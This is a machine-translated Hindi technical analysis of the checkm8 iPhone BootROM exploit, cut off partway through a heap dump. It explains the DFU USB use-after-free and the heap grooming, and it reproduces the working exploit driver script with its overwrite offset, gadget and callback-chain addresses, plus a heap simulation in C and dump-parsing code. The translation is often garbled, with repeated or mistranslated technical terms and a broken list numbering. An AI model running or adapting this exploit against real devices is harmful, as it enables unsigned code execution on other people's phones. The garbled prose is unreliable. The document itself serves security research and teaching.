चेकम 8 शोषण का तकनीकी विश्लेषण

सबसे अधिक संभावना है कि आपने पहले से ही प्रसिद्ध कारनाम चेकम 8 के बारे में सुना है, जो कि iPhone X सहित अधिकांश iDevices के BootROM में BootROM भेद्यता का उपयोग करता है। इस लेख में, हम इस शोषण का एक तकनीकी विश्लेषण प्रदान करेंगे और यह पता लगाएंगे कि भेद्यता क्या है।

आप यहां रूसी संस्करण पढ़ सकते हैं।

परिचय

सबसे पहले, आइए संक्षेप में एक iDevice की बूटिंग प्रक्रिया का वर्णन करें और इसमें भूमिका BootROM (उर्फ SecureROM ) निभाता है। इसके बारे में विस्तृत जानकारी यहां पाई जा सकती है । यहाँ बूटिंग कैसा दिखता है:

जब डिवाइस चालू होता है, तो BootROM को पहले निष्पादित किया जाता है। इसके मुख्य कार्य हैं:

• प्लेटफ़ॉर्म आरंभीकरण (आवश्यक प्लेटफ़ॉर्म रजिस्टर स्थापित किए गए हैं, CPU आरंभीकृत है, आदि)
• अगले चरण में नियंत्रण का सत्यापन और स्थानांतरण
  
  • BootROM IMG3/IMG4 छवियों के पार्सिंग का समर्थन करता है
  • BootROM में डिक्रिप्टिंग छवियों के लिए GID कुंजी तक पहुंच है
  • छवि सत्यापन के लिए, BootROM में एक अंतर्निहित सार्वजनिक Apple कुंजी और आवश्यक क्रिप्टोग्राफ़िक कार्यक्षमता है
• डिवाइस को पुनर्स्थापित करें यदि आगे बूटिंग संभव नहीं है ( Device Firmware Update , DFU )।

BootROM का आकार बहुत छोटा है और इसे iBoot का हल्का संस्करण कहा जा सकता iBoot , क्योंकि वे अधिकांश सिस्टम और लाइब्रेरी कोड साझा करते हैं। हालाँकि, iBoot विपरीत, BootROM को अपडेट नहीं किया जा सकता है। यह आंतरिक रीड-ओनली मेमोरी में डाला जाता है जब कोई डिवाइस निर्मित होता है। BootROM , सुरक्षित बूट श्रृंखला के भरोसे का हार्डवेयर रूट है। BootROM भेद्यता एक हमलावर को बूट करने की प्रक्रिया को नियंत्रित करने और किसी डिवाइस पर अहस्ताक्षरित कोड को निष्पादित करने की अनुमति दे सकती है।

Checkm8 का इतिहास

27 सितंबर, 2019 को checkm8 शोषण को इसके लेखक axi0mX द्वारा ipwndfu में जोड़ा गया था। साथ ही, उन्होंने ट्विटर पर अपडेट की घोषणा की और शोषक के बारे में विवरण और अतिरिक्त जानकारी प्रदान की। सूत्र के अनुसार, उन्होंने 2018 की गर्मियों में iOS 12 beta लिए आई-बूट को अलग करते हुए USB कोड में use-after-free भेद्यता को पाया।
BootROM और iBoot USB सहित उनके अधिकांश कोड साझा करते हैं, इसलिए यह भेद्यता BootROM लिए भी प्रासंगिक है।

शोषण के कोड से निम्नानुसार, DFU में भेद्यता का शोषण किया जाता है। यह एक ऐसी विधा है जिसमें कोई USB माध्यम से एक हस्ताक्षरित छवि को एक उपकरण में स्थानांतरित कर सकता है जिसे बाद में बूट किया जाएगा। उदाहरण के लिए, किसी असफल अद्यतन के बाद डिवाइस को पुनर्स्थापित करने के लिए यह उपयोगी हो सकता है।

उसी दिन, उपयोगकर्ता लिटिलेलो ने कहा कि उसने मार्च में उस भेद्यता को वापस पाया था और apollo.txt में एक विवरण प्रकाशित किया था । विवरण checkm8 साथ मेल checkm8 , हालांकि शोषण के सभी विवरण इसे पढ़ने पर स्पष्ट नहीं हो जाते हैं। यही कारण है कि हमने इस लेख को लिखने का फैसला किया और BootROM में पेलोड के निष्पादन तक शोषण के सभी विवरणों का वर्णन किया।

हमने उपरोक्त उल्लिखित संसाधनों और iBoot/SecureROM के स्रोत कोड पर हमारे विश्लेषण का आधार iBoot/SecureROM , जो फरवरी 2018 में लीक हुआ था। हमने अपने परीक्षण उपकरण, iPhone 7 ( CPID:8010 पर किए गए प्रयोगों से प्राप्त डेटा का भी उपयोग किया था। )। checkm8 का उपयोग करते checkm8 , हमें SecureROM और SecureRAM के डंप SecureRAM , जो विश्लेषण के लिए भी सहायक थे।

USB के बारे में आवश्यक जानकारी

चूंकि भेद्यता USB कोड में है, इसलिए यह समझना आवश्यक है कि यह इंटरफ़ेस कैसे काम करता है। पूर्ण चश्मा https://www.usb.org/ पर पाया जा सकता है, लेकिन यह एक लंबा पढ़ा है। हमारे उद्देश्यों के लिए, NutShell में USB पर्याप्त से अधिक है। यहां, हम केवल सबसे प्रासंगिक बिंदुओं का उल्लेख करेंगे।

विभिन्न प्रकार के USB डेटा ट्रांसफर हैं। DFU , केवल Control Transfers मोड का उपयोग किया जाता है (इसके बारे में और अधिक पढ़ें)। इस मोड में, प्रत्येक लेनदेन में 3 चरण होते हैं:

• Setup Stage - एक SETUP पैकेट भेजा जाता है; इसके निम्नलिखित क्षेत्र हैं:
  
  • bmRequestType - अनुरोध की दिशा, उसके प्रकार और प्राप्तकर्ता को परिभाषित करता है
  • bRequest - किए जाने के अनुरोध को परिभाषित करता है
  • wValue , wIndex - अनुरोध के आधार पर व्याख्या की जाती है
  • wLength - Data Stage में भेजे गए / प्राप्त डेटा की लंबाई को निर्दिष्ट करता है
• Data Stage - डेटा ट्रांसफर का एक वैकल्पिक चरण। Setup Stage दौरान भेजे गए SETUP पैकेट के आधार पर, डेटा को होस्ट से डिवाइस ( OUT ) या इसके विपरीत ( IN ) पर भेजा जा सकता है। डेटा छोटे भागों में भेजा जाता है ( Apple DFU मामले में, यह 0x40 बाइट्स है)।
  
  • जब कोई होस्ट डेटा का दूसरा भाग भेजना चाहता है, तो वह एक OUT टोकन और उसके बाद डेटा स्वयं भेजता है।
  • जब कोई होस्ट डिवाइस से डेटा प्राप्त करने के लिए तैयार होता है, तो यह डिवाइस को एक IN टोकन भेजता है।
• Status Stage - अंतिम चरण; पूरे लेन-देन की स्थिति बताई गई है।
  
  • OUT अनुरोधों के लिए, होस्ट एक IN टोकन भेजता है, जिसमें डिवाइस को शून्य-लंबाई पैकेट के साथ प्रतिक्रिया करनी चाहिए।
  • IN अनुरोधों के लिए, होस्ट एक OUT टोकन और एक शून्य-लंबाई पैकेट भेजता है।

नीचे दी गई योजना OUT और IN अनुरोध दिखाती है। हमने ACK , NACK , और अन्य हैंडशेक पैकेटों को इस उद्देश्य से निकाला, क्योंकि वे शोषण के लिए महत्वपूर्ण नहीं हैं।

Apollo.txt का विश्लेषण

हमने apollo.txt से भेद्यता के साथ विश्लेषण शुरू किया। दस्तावेज़ DFU मोड के एल्गोरिथ्म का वर्णन करता है:

https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4

1. जब usf को dfu पर एक छवि प्राप्त करने के लिए शुरू किया जाता है, dfu सभी कमांड को संभालने के लिए एक इंटरफ़ेस रजिस्टर करता है और इनपुट और आउटपुट के लिए एक बफर आवंटित करता है
2. यदि आप डेटा को dfu में भेजते हैं तो सेटअप पैकेट मुख्य कोड द्वारा संभाला जाता है जो तब इंटरफ़ेस कोड को कॉल करता है
3. इंटरफ़ेस कोड यह पुष्टि करता है कि तरंगदैर्ध्य इनपुट आउटपुट बफर लंबाई से छोटा है और यदि ऐसा है तो यह एक संकेतक को इनपुट आउटपुट बफर के लिए एक सूचक के साथ एक तर्क के रूप में अद्यतन करता है।
4. यह तब तरंगित होता है जो वह लंबाई है जो बफर में प्राप्त करना चाहता है
5. usb मुख्य कोड तब लंबाई के साथ एक वैश्विक संस्करण को अद्यतन करता है और डेटा संकुल को पुनः प्राप्त करने के लिए तैयार हो जाता है
6. यदि कोई डेटा पैकेज प्राप्त किया जाता है, तो यह सूचक के माध्यम से इनपुट आउटपुट बफर को लिखा जाता है, जिसे एक तर्क के रूप में पारित किया गया था और एक वैश्विक ग्लोब का उपयोग कितने बाइट्स पर नज़र रखने के लिए किया गया था।
7. यदि सभी डेटा को पुनः प्राप्त किया गया था तो dfu विशिष्ट कोड को फिर से कॉल किया जाता है और फिर इनपुट आउटपुट बफर की सामग्री को मेमोरी स्थान पर कॉपी करने के लिए जाता है जहां से बाद में छवि बूट की जाती है
8. उसके बाद usb कोड सभी वेरिएबल्स को रीसेट करता है और नए पैकेज को हैंडल करता है
9. अगर dfu इनपुट आउटपुट बफ़र से बाहर निकलता है और यदि छवि का पार्सिंग बूट्रोम रेफ़र्स डफ़ू को विफल करता है

सबसे पहले, हमने iBoot के स्रोत कोड के खिलाफ इन चरणों की जाँच की। हम यहां लीक हुए कोड के टुकड़ों का उपयोग नहीं कर सकते हैं, इसलिए हम IDA में हमारे iPhone7 के SecureROM को रिवर्स इंजीनियरिंग से प्राप्त SecureROM का उपयोग करेंगे। आप आसानी से iBoot का सोर्स कोड पा सकते हैं और इसे नेविगेट कर सकते हैं।

जब DFU प्रारंभ किया जाता है, एक IO बफर आवंटित किया जाता है, और DFU के अनुरोधों को संसाधित करने के लिए एक USB इंटरफ़ेस पंजीकृत है:

जब DFU लिए अनुरोध का SETUP पैकेट आता है, तो एक उचित इंटरफ़ेस हैंडलर कहा जाता है। OUT अनुरोधों के लिए (उदाहरण के लिए, जब कोई छवि भेजी जाती है), सफल निष्पादन के मामले में, हैंडलर को लेन-देन के लिए IO बफर के पते को वापस करना पड़ता है और साथ ही साथ यह प्राप्त होने वाले डेटा की लंबाई भी। दोनों मूल्य वैश्विक चर में संग्रहीत हैं।

नीचे स्क्रीनशॉट DFU इंटरफ़ेस हैंडलर दिखाता है। यदि कोई अनुरोध सही है, तो DFU आरंभीकरण के दौरान आवंटित IO बफर का पता और SETUP पैकेट से डेटा की अपेक्षित लंबाई वापस आ जाती है।

Data Stage दौरान, Data Stage प्रत्येक भाग IO बफर को लिखा जाता है, और फिर IO बफर पता ऑफसेट होता है और प्राप्त काउंटर अपडेट किया जाता है। जब सभी अपेक्षित डेटा प्राप्त होते हैं, तो इंटरफ़ेस डेटा हैंडलर कहा जाता है और लेनदेन की वैश्विक स्थिति को साफ कर दिया जाता है।

DFU डेटा हैंडलर में, प्राप्त डेटा को मेमोरी क्षेत्र में ले जाया जाता है जहां से इसे बाद में लोड किया जाएगा। iBoot के स्रोत कोड के आधार पर, Apple उपकरणों पर इस क्षेत्र को INSECURE_MEMORY कहा जाता है।

जब डिवाइस DFU मोड से बाहर निकलता है, तो पहले से आवंटित IO बफर को मुक्त कर दिया जाता है। यदि छवि को सफलतापूर्वक DFU मोड में अधिग्रहित किया गया था, तो इसे सत्यापित और बूट किया जाएगा। यदि कोई त्रुटि थी या छवि को बूट करना असंभव था, तो DFU को फिर से शुरू किया जाएगा, और पूरी प्रक्रिया शुरुआत से दोहराएगी।

वर्णित एल्गोरिथ्म में एक use-after-free भेद्यता है। यदि हम इमेज अपलोड करने के समय एक SETUP पैकेट भेजते हैं और Data Stage स्टेजिंग को लेन-देन को पूरा करते हैं, तो वैश्विक स्थिति अगले DFU चक्र के दौरान आरंभ में बनी रहेगी, और हम पिछले समय के दौरान आवंटित IO बफर के पते पर लिख सकेंगे। DFU पुनरावृत्ति

अब जब हम जानते हैं कि use-after-free कार्य कैसे होते हैं, तो सवाल यह है कि हम DFU के अगले पुनरावृत्ति के दौरान कुछ भी कैसे लिख सकते हैं? DFU एक और इनिशियलाइज़ेशन से पहले, पहले से आवंटित सभी संसाधनों को मुक्त कर दिया गया है और एक नए पुनरावृत्ति में मेमोरी का आवंटन बिल्कुल समान होना है। जैसा कि यह निकला, एक और दिलचस्प मेमोरी लीक त्रुटि है जो use-after-free शोषण use-after-free अनुमति देती है।

चेकम 8 का विश्लेषण

चलिए checkm8 ही आते हैं। प्रदर्शन के लिए, हम iPhone 7 लिए शोषण का एक सरलीकृत संस्करण का उपयोग करेंगे, जहां हमने अन्य प्लेटफार्मों से संबंधित सभी कोड निकाल लिए और इसकी कार्यक्षमता को किसी भी नुकसान के बिना USB अनुरोधों के क्रम और प्रकारों को बदल दिया। हमें एक पेलोड के निर्माण की प्रक्रिया से भी छुटकारा मिला, जो कि मूल फ़ाइल, checkm8.py में पाया जा सकता है। अन्य उपकरणों के लिए संस्करणों के बीच अंतर को समझना आसान है।

 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

checkm8 संचालन के कई चरण हैं:

1. हीप फेंग-शुई
2. वैश्विक राज्य को मंजूरी दिए बिना IO बफर का आवंटन और नि: शुल्क
3. use-after-free साथ ढेर में usb_device_io_request
4. पेलोड रखकर
5. callback-chain का निष्पादन
6. शेलकोड का निष्पादन

आइए सभी चरणों को विस्तार से देखें।

1. ढेर फेंग-शुई

हमें लगता है कि यह सबसे दिलचस्प चरण है, इसलिए हम इसका वर्णन करने में अधिक समय व्यतीत करेंगे।

 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

यह चरण एक तरह से ढेर को व्यवस्थित करने के लिए आवश्यक है जो use-after-free के शोषण के लिए फायदेमंद है। पहले, चलो कॉल stall , leak , no_leak विचार करें:

 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer लिए एक आवरण है। अनुरोध के निष्पादन के दौरान उत्पन्न होने वाले सभी अपवादों को अनदेखा करते हुए। libusb1_async_ctrl_transfer एक libusb_submit_transfer के अतुल्यकालिक निष्पादन के लिए libusb_submit_transfer फ़ंक्शन libusb_submit_transfer लिए एक आवरण है।

इन कॉलों के लिए निम्नलिखित पैरामीटर दिए गए हैं:

• डिवाइस नंबर
• SETUP पैकेट के लिए डेटा (यहां आप विवरण पा सकते हैं):
  
  • bmRequestType
  • bRequest
  • wValue
  • wIndex
• Data Stage लिए डेटा ( wLength ) या डेटा की लंबाई
• टाइमआउट का अनुरोध करें

तर्क bmRequestType , bRequest , wValue और wIndex सभी तीन अनुरोध प्रकारों द्वारा साझा किए जाते हैं:

• bmRequestType = 0x80
  
  • 0b1XXXXXXX - Data Stage की दिशा (डिवाइस टू होस्ट)
  • 0bX00XXXXX - मानक अनुरोध प्रकार
  • 0bXXX00000 - डिवाइस अनुरोध का प्राप्तकर्ता है
• bRequest = 6 - bRequest = 6 प्राप्त करने का अनुरोध ( GET_DESCRIPTOR )
• wValue = 0x304
  
  • wValueHigh = 0x3 - डिस्क्रिप्टर के प्रकार को परिभाषित करता है - स्ट्रिंग ( USB_DT_STRING )
  • wValueLow = 0x4 - स्ट्रिंग डिस्क्रिप्टर का सूचकांक, 4, डिवाइस सीरियल नंबर से मेल खाता है (इस मामले में, स्ट्रिंग CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
• wIndex = 0x40A - स्ट्रिंग की भाषा का wIndex = 0x40A , जिसका मान शोषण के लिए प्रासंगिक नहीं है और इसे बदला जा सकता है।

इन अनुरोधों में से किसी के लिए, 0x30 बाइट्स को निम्नलिखित संरचना के ऑब्जेक्ट के लिए ढेर में आवंटित किया गया है:

इस ऑब्जेक्ट के सबसे दिलचस्प क्षेत्र callback और next ।

• callback फ़ंक्शन का पॉइंटर है जिसे अनुरोध किए जाने पर कॉल किया जाएगा।
• next उसी प्रकार के अगले ऑब्जेक्ट का सूचक है; अनुरोध कतार को व्यवस्थित करने के लिए यह आवश्यक है।

stall की मुख्य विशेषता एक न्यूनतम टाइमआउट के साथ अनुरोध के अतुल्यकालिक निष्पादन का उपयोग है। इसीलिए, यदि हम भाग्यशाली हैं, तो अनुरोध ओएस स्तर पर रद्द कर दिया जाएगा और निष्पादन कतार में रहेगा, और लेनदेन पूरा नहीं होगा। साथ ही, डिवाइस सभी आगामी SETUP पैकेट प्राप्त करना जारी रखेगा और जब आवश्यक हो, निष्पादन कतार में रख देगा। बाद में, Arduino पर USB नियंत्रक के साथ प्रयोग करने पर, हमें पता चला कि सफल शोषण के लिए हमें SETUP पैकेट और IN टोकन भेजने के लिए मेजबान की आवश्यकता होती है, जिसके बाद समय-सीमा के कारण लेनदेन को रद्द करना पड़ता है। यह अधूरा लेनदेन इस तरह दिखता है:

इसके अलावा, अनुरोध केवल एक इकाई द्वारा लंबाई में भिन्न होते हैं। मानक अनुरोधों के लिए, एक मानक callback है जो इस तरह दिखता है:

io_length का मान अनुरोध के SETUP पैकेट में wLength से न्यूनतम और अनुरोधित विवरणक की मूल लंबाई के बराबर है। विवरणक काफी लंबा होने के कारण, हम इसकी लंबाई के भीतर io_length के मूल्य को नियंत्रित कर सकते हैं। g_setup_request.wLength का मान पिछले SETUP पैकेट से wLength के मूल्य के बराबर है। इस मामले में, यह 0xC1 ।

इस प्रकार, कॉल stall और leak द्वारा गठित अनुरोध पूरा हो गया है, टर्मिनल callback फ़ंक्शन में स्थिति संतुष्ट है, और usb_core_send_zlp() कहा जाता है। यह कॉल एक शून्य पैकेट ( zero-length-packet ) बनाता है और इसे निष्पादन कतार में जोड़ता है। Status Stage में लेन-देन के सही समापन के लिए यह आवश्यक है।

फ़ंक्शन usb_core_complete_endpoint_io को कॉल करके अनुरोध पूरा हो गया है। सबसे पहले, यह callback और फिर अनुरोध की मेमोरी को मुक्त करता है। अनुरोध न केवल तब पूरा होता है जब पूरा लेन-देन पूरा हो जाता है, बल्कि जब USB रीसेट हो जाता है। जब USB को रीसेट करने का संकेत प्राप्त होता है, तो निष्पादन कतार में सभी अनुरोध पूरे हो जाएंगे।

चुनिंदा usb_core_send_zlp() को क्रियान्वित करने वाली कतार से गुजरने और अनुरोधों को मुक्त करने के बाद, हम use-after-free के शोषण के लिए ढेर पर पर्याप्त नियंत्रण प्राप्त कर सकते use-after-free । सबसे पहले, आइए अनुरोध सफाई लूप देखें:

जैसा कि आप देख सकते हैं, कतार को खाली कर दिया गया है, और फिर रद्द किए गए अनुरोधों को usb_core_complete_endpoint_io द्वारा चलाया और पूरा किया usb_core_complete_endpoint_io । usb_core_send_zlp द्वारा आवंटित अनुरोधों को ep->io_head में रखा गया है। USB रीसेट होने के बाद, समापन बिंदु के बारे में सभी जानकारी स्पष्ट हो जाएगी, जिसमें संकेत io_head और io_tail , और शून्य-लंबाई अनुरोध ढेर में रहेगा। इस प्रकार, हम ढेर के बीच एक छोटा हिस्सा बना सकते हैं। नीचे दी गई योजना बताती है कि यह कैसे किया जाता है:

SecureROM के ढेर में, एक नया मेमोरी क्षेत्र सबसे छोटा उचित मुक्त चंक से आवंटित किया गया है। ऊपर वर्णित विधि का उपयोग करके एक छोटा सा मुफ्त हिस्सा बनाकर, हम USB प्रारंभ के दौरान मेमोरी के आवंटन को नियंत्रित कर सकते हैं, जिसमें io_buffer और अनुरोधों का आवंटन शामिल है।

इसकी बेहतर समझ रखने के लिए, आइए देखें कि DFU के आरंभ होने पर ढेर के लिए कौन से अनुरोध किए गए हैं। SecureROM स्रोत कोड और SecureROM रिवर्स-इंजीनियरिंग के विश्लेषण के दौरान, हमें निम्नलिखित अनुक्रम मिला:

• 1. विभिन्न स्ट्रिंग डिस्क्रिप्टर का आवंटन
     
     • 1.1। Nonce (आकार 234 )
     • 1.2। Manufacturer ( 22 )
     • 1.3। Product ( 62 )
     • 1.4। Serial Number ( 198 )
     • 1.5। Configuration string ( 62 )
  
  
• 1. USB नियंत्रक कार्य के निर्माण से संबंधित आवंटन
     
     • 2.1। कार्य संरचना ( 0x3c0 )
     • 2.2। टास्क स्टैक ( 0x1000 )
  
  
• 1. io_buffer ( io_buffer )
  
  
• 1. कॉन्फ़िगरेशन डिस्क्रिप्टर
     
     • 4.1। High-Speed ( 25 )
     • 4.2। Full-Speed ( 25 )
  
  

फिर, अनुरोध संरचनाएं आवंटित की जाती हैं। यदि ढेर में एक छोटा हिस्सा है, तो पहली श्रेणी के कुछ आवंटन वहां जाएंगे, और अन्य सभी आवंटन स्थानांतरित हो जाएंगे। इस प्रकार, हम पुराने बफ़र का संदर्भ usb_device_io_request को ओवरफ्लो करने में सक्षम होंगे। यह इस तरह दिखता है:

आवश्यक ऑफसेट की गणना करने के लिए, हमने बस ऊपर सूचीबद्ध सभी आवंटन का अनुकरण किया और iBoot हीप के स्रोत कोड को थोड़ा अनुकूलित किया।

 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

heap feng-shui चरण में 8 अनुरोधों के साथ कार्यक्रम का आउटपुट:

 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

जैसा कि आप देख सकते हैं, पिछले बफर की शुरुआत से 0x5c0 की ऑफसेट पर एक और usb_device_io_request दिखाई देगा, जो शोषण कोड से मेल खाता है:

 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

आप SecureRAM ढेर की वर्तमान स्थिति का विश्लेषण करके इन निष्कर्षों की वैधता की जांच कर सकते हैं, जो हमें checkm8 साथ मिला checkm8 । इस उद्देश्य के लिए, हमने एक सरल स्क्रिप्ट लिखी जो ढेर के डंप को पार्स करती है और चंक्स को एन्यूमरेट करती है। ध्यान रखें कि usb_device_io_request अतिप्रवाह के दौरान, मेटाडेटा का हिस्सा क्षतिग्रस्त हो गया था, इसलिए हम विश्लेषण के दौरान इसे छोड़ देते हैं।

 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

टिप्पणियों के साथ स्क्रिप्ट का आउटपुट स्पॉइलर के नीचे पाया जा सकता है। आप देख सकते हैं कि कम ऑर्डर बाइट्स अनुकरण के परिणामों से मेल खाती हैं।

 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 